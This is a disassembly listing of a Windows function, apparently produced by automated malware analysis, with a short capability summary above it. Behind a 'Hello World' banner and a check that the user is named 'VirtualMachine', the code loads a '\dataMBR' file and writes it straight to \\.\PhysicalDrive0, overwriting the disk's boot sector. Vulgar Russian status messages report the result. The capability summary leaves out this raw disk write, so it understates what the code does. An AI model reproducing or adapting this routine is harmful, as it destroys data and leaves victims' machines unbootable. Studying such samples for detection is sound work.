Function at 0x140001630
Capabilities:
Get session user name
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2710]
mov eax, 0x2810
call fcn.140004490
sub rsp, rax
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x2700], rax
xor r15d, r15d
lea rdx, str.Hello_World__Hello_2021__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
lea rcx, str.WINNT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140002bd0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400057a0]
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x70], r15b
mov dword [rbp - 0x50], 0x101
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140001cee
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x48]
call fcn.140001350
mov rbx, rax
lea rax, [rbp - 0x70]
lea edi, [r15 + 0xf]
cmp rax, rbx
je 0x140001759
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14000172e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001729
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000178d
call fcn.14000367c
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], rdi
mov byte [rbx], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140001799
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001794
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001794
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000367c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov edx, 0xe
mov qword [rbp - 0x80], rdx
mov rcx, rdi
mov qword [rbp - 0x78], rcx
movsd xmm0, qword [str.VirtualMachine]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140005588]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14000558c]
mov word [rsp + 0x7c], ax
lea rsi, [rbp - 0x70]
mov r9, qword [rbp - 0x70]
mov r10, qword [rbp - 0x58]
cmp r10, 0x10
cmovae rsi, r9
lea r14, [rbp - 0x70]
cmovae r14, r9
mov r8, qword [rbp - 0x60]
add r14, r8
lea rbx, [rbp - 0x70]
cmp r10, 0x10
cmovae rbx, r9
cmp rbx, r14
je 0x140001838
sub rsi, rbx
nop dword [rax]
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rsi + rbx], al
inc rbx
cmp rbx, r14
jne 0x140001810
mov r10, qword [rbp - 0x58]
mov r8, qword [rbp - 0x60]
mov r9, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
lea rsi, [rsp + 0x70]
mov r11, qword [rsp + 0x70]
cmp rcx, 0x10
cmovae rsi, r11
lea r14, [rsp + 0x70]
cmovae r14, r11
add r14, rdx
lea rbx, [rsp + 0x70]
cmp rcx, 0x10
cmovae rbx, r11
cmp rbx, r14
je 0x14000189d
sub rsi, rbx
nop dword [rax + rax]
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rsi + rbx], al
inc rbx
cmp rbx, r14
jne 0x140001870
mov r10, qword [rbp - 0x58]
mov r8, qword [rbp - 0x60]
mov r9, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
mov r11, qword [rsp + 0x70]
lea rax, [rsp + 0x70]
cmp rcx, 0x10
cmovae rax, r11
lea rcx, [rbp - 0x70]
cmp r10, 0x10
cmovae rcx, r9
cmp r8, rdx
jne 0x140001c60
mov rdx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001c60
lea rdx, str.Username_is_correct_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
mov rcx, rax
lea rdx, [0x1400032f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000192f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000192a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ce0
call fcn.14000367c
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r14, qword [rbp - 0x38]
sub rax, r14
cmp rax, 8
jb 0x140001de2
lea rax, [rbp - 0x48]
mov rsi, qword [rbp - 0x48]
mov r13, qword [rbp - 0x30]
cmp r13, 0x10
cmovae rax, rsi
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea r12, [r14 + 8]
lea rbx, [rsp + 0x70]
cmp r12, 0xf
jbe 0x140001a22
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400019d7
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003640
test rax, rax
je 0x1400019ff
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rax, qword [rsp + 0x40]
jmp 0x140001a1d
mov ecx, 0x16
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001a06
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001de8
jmp 0x1400019b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001a1a
call fcn.140003640
mov rbx, rax
mov rax, qword [rsp + 0x40]
jmp 0x140001a1d
mov rbx, r15
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rdi
mov r8, r14
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movabs rax, 0x52424d617461645c
mov qword [r14 + rbx], rax
mov byte [rbx + r12], 0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x20]
call fcn.140002a00
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x24], edx
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140001ac9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ac4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000367c
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x140001b28
lea rbx, [rbp + 0x300]
nop
movzx eax, byte [rsp + 0x68]
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x140001b00
lea rcx, [rbp - 0x10]
call fcn.140002ef0
test rax, rax
jne 0x140001b52
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x10000000
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x4c]
mov r8d, 0x2400
lea rdx, [rbp + 0x300]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 1
lea rdx, str.Povna_pornografia
je 0x140001bb6
lea rdx, str.Pizdec__nikita__naxya_tu_vse_slomal_
call fcn.140003120
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp - 0x20]
call fcn.140001290
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140001c11
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001d54
call fcn.14000367c
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
cmp r13, 0x10
jb 0x140001c59
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001c51
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001da3
mov rcx, rsi
call fcn.14000367c
xor eax, eax
jmp 0x140001db2
lea rdx, str.Username_is_uncorrect__Please_create_an_account_for_the_VM_with_the_name__VirtualMachine_.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
mov rcx, rax
lea rdx, [0x1400032f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.After_start_this_program_again._Press_any_key__to_exit_from_program
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
mov rcx, rax
lea rdx, [0x1400032f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140001d22
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ce7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ce7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000367c
jmp 0x140001d22
lea rdx, str.UserName_isn_t_detected__close...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003120
mov rcx, rax
lea rdx, [0x1400032f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15d, 1
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140001d60
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000367c
movdqa xmm0, xmmword [0x1400057a0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140001daf
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001daa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001daa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000367c
mov eax, r15d
mov rcx, qword [rbp + 0x2700]
xor rcx, rsp
call fcn.140003620
lea r11, [rsp + 0x2810]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3